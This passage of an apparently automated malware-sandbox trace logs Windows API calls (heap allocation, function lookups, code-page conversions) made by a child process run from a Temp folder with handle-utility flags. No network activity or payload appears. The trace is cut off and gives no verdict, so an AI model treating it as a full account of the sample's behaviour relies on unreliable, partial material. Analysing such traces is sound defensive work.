hHeap=0x7a0000) returned 1 [0108.612] GetEnvironmentStringsW () returned 0x7b47f8* [0108.612] GetProcessHeap () returned 0x7a0000 [0108.612] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xba8) returned 0x7b75d0 [0108.612] FreeEnvironmentStringsW (penv=0x7b47f8) returned 1 [0108.612] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0114.989] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x35f388 | out: lpExitCode=0x35f388*=0x0) returned 1 [0114.989] CloseHandle (hObject=0x78) returned 1 [0114.990] _vsnwprintf (in: _Buffer=0x35f4d0, _BufferCount=0x13, _Format="%08X", _ArgList=0x35f394 | out: _Buffer="00000000") returned 8 [0114.990] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0114.990] GetProcessHeap () returned 0x7a0000 [0114.990] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b75d0 | out: hHeap=0x7a0000) returned 1 [0114.990] GetEnvironmentStringsW () returned 0x7b47f8* [0114.990] GetProcessHeap () returned 0x7a0000 [0114.990] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xba8) returned 0x7b75d0 [0114.990] FreeEnvironmentStringsW (penv=0x7b47f8) returned 1 [0114.990] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0114.990] GetProcessHeap () returned 0x7a0000 [0114.990] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b75d0 | out: hHeap=0x7a0000) returned 1 [0114.990] GetEnvironmentStringsW () returned 0x7b47f8* [0114.990] GetProcessHeap () returned 0x7a0000 [0114.990] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xba8) returned 0x7b75d0 [0114.991] FreeEnvironmentStringsW (penv=0x7b47f8) returned 1 [0114.991] GetProcessHeap () returned 0x7a0000 [0114.991] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b0148 | out: hHeap=0x7a0000) returned 1 [0114.991] DeleteProcThreadAttributeList (in: lpAttributeList=0x35f3ec | out: lpAttributeList=0x35f3ec) [0114.991] _get_osfhandle (_FileHandle=1) returned 0x80 [0114.991] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0114.991] _get_osfhandle (_FileHandle=1) returned 0x80 [0114.991] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0114.991] _get_osfhandle (_FileHandle=0) returned 0x3 [0114.991] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0114.991] SetConsoleInputExeNameW () returned 0x1 [0114.992] GetConsoleOutputCP () returned 0x1b5 [0114.992] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0114.992] SetThreadUILanguage (LangId=0x0) returned 0x409 [0114.992] exit (_Code=0) Process: id = "202" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x1e9f1000" os_pid = "0xee8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "198" os_parent_pid = "0xec4" cmd_line = "bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 790 os_tid = 0xeec [0108.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xe45c1380, dwHighDateTime=0x1d5d06a)) [0108.893] GetCurrentThreadId () returned 0xeec [0108.893] GetCurrentProcessId () returned 0xee8 [0108.893] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=25085792483) returned 1 [0109.108] GetProcessHeap () returned 0x290000 [0109.108] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0109.108] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190 [0109.108] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0109.108] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0109.108] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0109.109] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0109.109] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0109.109] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0109.109] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0109.109] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0109.109] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0109.109] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0109.109] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0109.109] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0109.109] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 0x7715e170 [0109.109] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0109.109] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0109.109] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0109.109] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0109.110] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0109.110] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0109.110] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0109.110] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0109.110] GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0109.110] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0109.110] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0109.110] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0109.110] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0109.110] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0109.110] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0109.110] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0109.110] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0109.110] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0109.111] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0109.111] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x478) returned 0x2af050 [0109.111] GetCurrentThreadId () returned 0xeec [0109.111] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x28) returned 0x2a5ed0 [0109.111] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xb00) returned 0x2af4d0 [0109.111] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x2af050)) [0109.111] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0109.111] GetFileType (hFile=0x3) returned 0x2 [0109.112] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0109.112] GetFileType (hFile=0x7) returned 0x2 [0109.112] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0109.112] GetFileType (hFile=0xb) returned 0x2 [0109.112] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" [0109.112] GetEnvironmentStringsW () returned 0x2affe0* [0109.112] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xb36) returned 0x2b0b20 [0109.113] FreeEnvironmentStringsW (penv=0x2affe0) returned 1 [0109.113] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xa8) returned 0x2b1660 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x138) returned 0x2b1710 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x3e) returned 0x2a6510 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x6c) returned 0x2b1850 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x62) returned 0x2b18d0 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x78) returned 0x2b1940 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x62) returned 0x2b19c0 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x2e) returned 0x2ade00 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x48) returned 0x2a6560 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x28) returned 0x2a5f00 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x28) returned 0x2a5f30 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1a) returned 0x2a5f60 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x4a) returned 0x2b1a30 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x72) returned 0x2b1a90 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x30) returned 0x2ade40 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x2e) returned 0x2ade80 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1c) returned 0x2a5f90 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xd2) returned 0x2b1b10 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x7c) returned 0x2b1bf0 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x3a) returned 0x2a65b0 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x90) returned 0x2b1c80 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x24) returned 0x2a5fc0 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x30) returned 0x2adec0 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x36) returned 0x2adf00 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x3c) returned 0x2a6600 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x52) returned 0x2b1d20 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x3c) returned 0x2a6650 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x18) returned 0x2b1d80 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x82) returned 0x2b1da0 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x2e) returned 0x2adf40 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1e) returned 0x2a5ff0 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x2c) returned 0x2adf80 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x54) returned 0x2b1e30 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x52) returned 0x2b1e90 [0109.113] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x2a) returned 0x2adfc0 [0109.114] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x3c) returned 0x2a66a0 [0109.114] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x54) returned 0x2b1ef0 [0109.114] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x24) returned 0x2a6020 [0109.114] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x30) returned 0x2ae000 [0109.114] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x8c) returned 0x2affe0 [0109.114] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2b0b20 | out: hHeap=0x290000) returned 1 [0109.114] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1000) returned 0x2b0080 [0109.114] GetLastError () returned 0x0 [0109.114] SetLastError (dwErrCode=0x0) [0109.114] GetLastError () returned 0x0 [0109.114] SetLastError (dwErrCode=0x0) [0109.114] GetLastError () returned 0x0 [0109.114] SetLastError (dwErrCode=0x0) [0109.114] GetACP () returned 0x4e4 [0109.114] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x228) returned 0x2b1090 [0109.114] GetLastError () returned 0x0 [0109.114] SetLastError (dwErrCode=0x0) [0109.114] IsValidCodePage (CodePage=0x4e4) returned 1 [0109.114] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0109.114] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0109.114] GetLastError () returned 0x0 [0109.115] SetLastError (dwErrCode=0x0) [0109.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0109.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쯷㍦\x8c") returned 256 [0109.115] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쯷㍦\x8c", cchSrc=256, lpCharType=0x12fbc0 | out: lpCharType=0x12fbc0) returned 1 [0109.115] GetLastError () returned 0x0 [0109.115] SetLastError (dwErrCode=0x0) [0109.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0109.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0109.115] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0109.115] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0109.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0109.115] GetLastError () returned 0x0 [0109.115] SetLastError (dwErrCode=0x0) [0109.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0109.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0109.115] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0109.115] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0109.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 